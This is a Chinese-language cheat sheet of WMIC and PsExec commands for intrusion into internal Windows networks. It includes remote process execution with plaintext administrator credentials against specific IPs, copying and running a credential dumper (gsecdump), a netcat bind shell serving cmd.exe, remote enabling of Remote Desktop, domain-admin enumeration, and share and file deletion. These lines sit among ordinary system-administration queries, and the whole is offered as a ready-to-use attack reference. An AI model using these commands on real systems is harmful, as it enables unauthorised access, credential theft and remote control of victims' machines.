wmi渗透常见操作
tasklisf 可以远程列出进程
psexec /accepteula 绕过第一次验证窗口
mstsc/admin 解决hash无法抓出问题
wmic /node:172.16.19.96 /user:ABIMAQ\Administrator /password:k78m90 process call create c:\kav\2009.exe
psexec.exe -s -u administrator -p k78m90 \\172.16.16.2 -c c:\kav\2009.exe 拷贝文件并且执行
psexec.exe -s -u administrator -p km3h7i \\172.16.16.2 -c c:\kav\gsecdump.exe -u
===========================================
内网中Wmic需要RPC服务开启
wmic /node:ip /user:ip(hostname,domain)\user /password [wmic 命令] 远程执行
wmic /node:ip /user:administrator /password:123455 process list brief
-------------------------------------------------------------------------------------------------------------------------------------------------
wmic nicconfig where index=1 call enablestatic(“192.168.1.2″), (“255.255.255.0″) ------ 配置ip,index=1为 DeviceID或index
wmic nicconfig where index=1 call setgateways(“192.168.1.1″),(1) ------ 配置网关
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic computersystem where “name=’abc’” call rename 123 ------ 更改计算机名称
wmic computersystem where “caption=’%ComputerName%’” call rename newcomputername ------ 更改计算机名称
wmic computersystem where “name=’google’” call joindomainorworkgroup “”,”",”MyGroup”,1 ------ 更改工作组名称
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic qfe get HotFixID,InstalledOn,Description ------- 获取补丁
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic ntdomain ------- 获取所有和本主机相关的域，可以看到域控制器的位置
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic process where name=”qq.exe” call terminate --------- 结束进程
wmic process where name=”qq.exe” delete --------- 结束进程
wmic process where pid=”123″ delete --------- 结束对应PID进程
wmic process call create c:\kav\2009.exe --------- 运行程序
wmic process call create “C:\nc.exe -l -p 222 -e cmd.exe” -------- 运行参数
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic COMPUTERSYSTEM 可以看是否为虚拟设备 Manufacturer Model看这个
wmic DISKQUOTA get QuotaVolume 获取NTFS 卷磁盘空间使用情况
wmic LOGICALDISK get caption,description,deviceid 查看驱动盘的类型，这个比较全
wmic VOLUME get Caption,DriveLetter,FileSystem,name 看驱动盘
wmic DISKDRIVE get deviceid,Caption,size,InterfaceType 硬盘设备
wmic cpu get Description,DeviceID,Name CPU
wmic NTEVENT WHERE “logfile=’Security’” 查看安全日志
wmic share get Name,path 获取共享,相当于在命令net share，但比net share 还要详细
WMIC SHARE where name=”C$” call delete 删除共享
WMIC SHARE CALL Create “”,”test”,”3″,”TestShareName”,”",”c:\test”,0 创建共享目录
wmic netuse create remotepath=’\\obtuse\\admin$’,localname=’z:’ 创建共享
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic SERVICE where name=”tlntsvr” set startmode=”Auto” 更改服务启动方式
====================================================
wmic SERVICE where name=”tlntsvr” call startservice 启动服务
wmic SERVICE where name=”Spooler” call PauseService 暂停服务
wmic SERVICE where name=”tlntsvr” call stopservice 停止服务
wmic SERVICE where name=”test” call delete 删除服务
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic NIC 网卡
wmic MEMLOGICAL get TotalPageFileSpace,TotalPhysicalMemory,TotalVirtualMemory 查看内存情况
wmic NETLOGIN 网络登录信息管理，比较好
WMIC JOB GET Command,RunRepeatedly,StartTime 查找任务
wmic os 操作系统版本
wmic STARTUP 自启动管理
wmic ENVIRONMENT 系统环境
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic datafile “c:\\test.txt” call rename c:\abc.txt 重命名
wmic datafile Where “drive=’c:’ and extension=’txt’” get name 列出C盘下所有的的txt文件名
wmic datafile Where “drive=’c:’ get FileSize,name 列出C盘下的所有文件
wmic datafile Where “drive=’c:’” get name >all.txt 列出C盘下的所有文件 出错
wmic datafile where “name=’f:\\lxmxn\\cn-dos\\lxmxn.vbs’” lis t查找文件
wmic datafile where “drive=’e:’ and path=’\\test\\’ and FileName=’cc’ and Extension=’cmd’” list 查找e:\test，排除cc.cmd文件
wmic datafile where “drive=’e:’ and FileName=’cc’ and Extension=’cmd’ and FileSize>’1000′” list 查找e:\，排除cc.cmd文件,且大小大于1K
====================================================================
wmic datafile where “drive=’e:’ and Extension=’cmd’ and FileSize>’10000000′” call delete 删除e盘下文件大小大于10M的.cmd文件
wmic datafile where “drive=’e:’ and Extension<>’cmd’ and path=’test’” call delete 删除e盘下test目录(不包括子目录)下的非.cmd文件
wmic datafile where “drive=’h:’ and extension=’txt’ and path like ‘%\\test\\%’ and filename like ‘%perl%’” get name h:\文件名含有perl的txt
wmic datafile where “drive=’e:’ and path=’\\test\\’ and FileName=’cc’ and Extension=’cmd’” call copy “e:\aa.bat”
for /f “skip=1 tokens=1*” %i in (‘wmic datafile where “FileName=’qq’ and extension=’exe’” get drive^,path’) do (set “qPath=%i%j”&@echo %qPath:~0,-3%) 全盘搜索某文件并获取该文件所在目录
wmic FSDIR where “drive=’c:’ and filename=’test’” list 列出C盘下所有windows目录
wmic FSDIR where “drive=’e:’ and path=’\\test\\’ and filename<>’abc’” call delete 删除e:\test目录下除目录abc的所有目录
wmic fsdir “c:\\good” call delete 删除c:\good文件夹
wmic fsdir “c:\\good” rename “c:\abb” 重命名c:\good文件夹为abb
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic LOGON 可以查看什么类型的登录，什么时间登录的
--------------------------------------------------------------------------------------------------------------------------------------------------
wmic group 在全局中查找
wmic group where “name=’domain admins’”
wmic useraccount 在全局中查找
wmic useraccount where “name=’administrator’” get Caption 如果在域上，上面的命令都是在域中查询，很慢。
wmic USERACCOUNT where “name=’%UserName%’” call rename newUserName 更改账户名
wmic /node:%pcname% /USER:%pcaccount% PATH win32_terminalservicesetting WHERE (__Class!=”") CALL SetAllowTSConnections 1 远程打开计算机远程桌面